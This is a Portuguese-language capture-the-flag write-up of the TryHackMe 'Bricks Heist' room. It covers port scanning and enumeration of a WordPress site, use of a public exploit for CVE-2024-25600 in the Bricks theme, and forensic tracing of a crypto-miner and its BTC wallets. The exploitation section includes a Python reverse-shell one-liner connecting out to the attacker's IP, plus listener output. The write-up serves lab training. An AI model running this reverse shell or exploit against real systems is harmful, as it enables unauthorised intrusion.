Post

TryHack3M - Bricks Heist

TryHack3M - Bricks Heist

Reconhecimento

Realizado varredura de portas

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
──(root㉿estudos)-[/home/alex]
└─# nmap -Pn -sS --open -v 10.10.167.163     
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-27 17:25 -03
Initiating Parallel DNS resolution of 1 host. at 17:25
Completed Parallel DNS resolution of 1 host. at 17:25, 0.24s elapsed
Initiating SYN Stealth Scan at 17:25
Scanning 10.10.167.163 [1000 ports]
Discovered open port 80/tcp on 10.10.167.163
Discovered open port 443/tcp on 10.10.167.163
Discovered open port 3306/tcp on 10.10.167.163
Discovered open port 22/tcp on 10.10.167.163
Completed SYN Stealth Scan at 17:25, 2.99s elapsed (1000 total ports)
Nmap scan report for 10.10.167.163
Host is up (0.32s latency).
Not shown: 996 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
443/tcp  open  https
3306/tcp open  mysql

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 3.50 seconds
           Raw packets sent: 1011 (44.484KB) | Rcvd: 1003 (40.136KB)
                                                                                                                                                                                                    
┌──(root㉿estudos)-[/home/alex]
└─# nmap -Pn -sV -p 22,80,443,3306 10.10.167.163
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-27 17:25 -03
Nmap scan report for 10.10.167.163
Host is up (0.31s latency).

PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http     Python http.server 3.5 - 3.10
443/tcp  open  ssl/http Apache httpd
3306/tcp open  mysql    MySQL (unauthorized)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.53 seconds

Acessando a aplicação na porta 80, recebemos uma tela de erro, que o método GET não é permitido.

porta80

Recebemos outro erro: Error code: 501.
Quando tentamos com outros métodos: PUT, POST e OPTIONS.

1
2
3
curl -X POST http://bricks.thm -d ""
curl -X OPTIONS http://bricks.thm
curl -X PUT http://bricks.thm

O endpoint que estamos tentando acessar não suporta, aparentemente, nenhum método. Verificando aplicação da porta 443, temos um resultado melhor.

porta443

Enumeração

Analisando o código fonte da página inicial obtemos informações valiosas. Bricks se trata de um tema do Wordpress, identificamos a versão de Wordpress sendo utilizada e também o endereço do endpoint da API.

Source Code

Também descobrimos a versão do tema, que está sendo utilizada através da URL abaixo.

1
https://bricks.thm/wp-content/themes/bricks/style.css

Style CSS

Pelo endpoint e o arquivo robots.txtdescobrimos a tela de login administrativo.

Robots.txt

Com a ferramenta gobusterencontramos phpAdmin, comando:

1
gobuster dir -k -r -e -u https://bricks.thm -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

PHP admin

Exploração

Com a informação da versão do tema, que está sendo utilizado, encontramos na web um exploit público, que explora um plugin do Bricks que não realiza as devidas verificações dos inputs do usuário. A versão do exploit abrange até a versão1.9.6 do tema.

Link do exploit:https://github.com/K3ysTr0K3R/CVE-2024-25600-EXPLOIT CVE: 2024-25600

Antes de clonarmos o repositório, para nossa máquina local, realizamos a leitura do exploit (boa prática!). Executando o exploit obtemos nossa shell e obtemos nossa primeira flag!

exploit

Pós exploração

Agora vamos obter outra shell, assim podemos realizar um upgrade para uma shell full tty. Shell reversam em python:

1
/usr/bin/python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("MY IP",PORTA));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'

Após obter a shell, deixamos ela full tty.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(alex㉿kali)-[~]
└─$ nc -vlnp 4444   
listening on [any] 4444 ...
connect to [10.2.13.47] from (UNKNOWN) [10.10.223.140] 33576
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
apache@tryhackme:/data/www/default$  export TERM=xterm
 export TERM=xterm
apache@tryhackme:/data/www/default$ ^Z
zsh: suspended  nc -vlnp 4444
                                                                          
┌──(alex㉿kali)-[~]
└─$ stty raw -echo; fg
[1]  + continued  nc -vlnp 4444
                               stty rows 38 columns 116
apache@tryhackme:/data/www/default$

Analisando processos

Com o comando top analisamos os processos que estão sendo executados no momento.

top

Não identificamos nenhum processo suspeito, com o comando ps -elf listamos todos os processos, a lista é extensa e não apresenta nenhum processo que seja suspeito. Vamos tentar outro comando: systemctl | grep running.

systemctl

Temos um processo com nome suspeito, TRYHACK3M, com systemctl status ubuntu.service, temos mais detalhe sobre o processo.

ubuntu service

Temos as respostas da nossa segunda e terceira pergunta. Analisando o diretório /var/log não foi encontrado nenhum arquivo referente a esse minerador. Com o comando lsof -p 2567foi listado os arquivos que foram abertos por esse processo, nenhum dos arquivos parecia com um arquivo de log. Foi então que analisando o diretório, onde o processo suspeito era executado, foi encontrado o arquivo de log.

ls

Com o comando headlistamos apenas o início do arquivo, assim ficando fácil identificar, que se tratava de um arquivo de log.

log file

Outra forma de descobrir, seria realizando a transferência do binário, para a máquina local, e depois analisando-o no Virustotal, em behavior é possível ver os arquivos que foram abertos.

Virus Total

Dentro do arquivo de log temos um campo com ID, seguido de uma string, que aparentemente parece ser em hexadecimal, no cyberchef realizamos o decode de hexadecimal para base 64, e depois realizamos novamente para base 64.

CyberChef

Com isso chegamos em uma string, que inicia com bc1, carteiras de BTC que iniciam com bc1 são conhecidas como endereços bech32 ou endereços SegWit nativos. A resposta ainda não está correta, analisando o endereço da carteira vemos que está duplicada, e ultrapassa a quantidade máxima de caracteres de uma carteira de BTC, dividimos a strings em dois, o delimitador é o bc1.

CyberChef 2

Temos nossa resposta, da penúltima questão.

Pesquisando Wallet

Para responder a última pergunta precisaremos da ajuda de um Blockchain explorer, assim verificamos cada transação feita envolvendo essa carteira.

Blockchain

Estamos com sorte! O primeiro endereço pesquisado já nos da informação que precisamos, o nome do grupo, e com isso concluímos todas as perguntas.

Group Threat

Conclusão

O CTF exige que o atacante tenha um conhecimento mínimo de técnicas de enumeração. Após isso, é necessário ter conhecimento prévio de sistemas Linux para a realização da análise de processos. O conhecimento de análise de binários não é necessário, mas pode auxiliar em uma análise mais aprofundada. Por último, é necessário ter noções sobre conversão de bases e o padrão de criação de carteiras de BTC, além de saber como pesquisá-las.

Esta postagem está licenciada sob CC BY 4.0 pelo autor.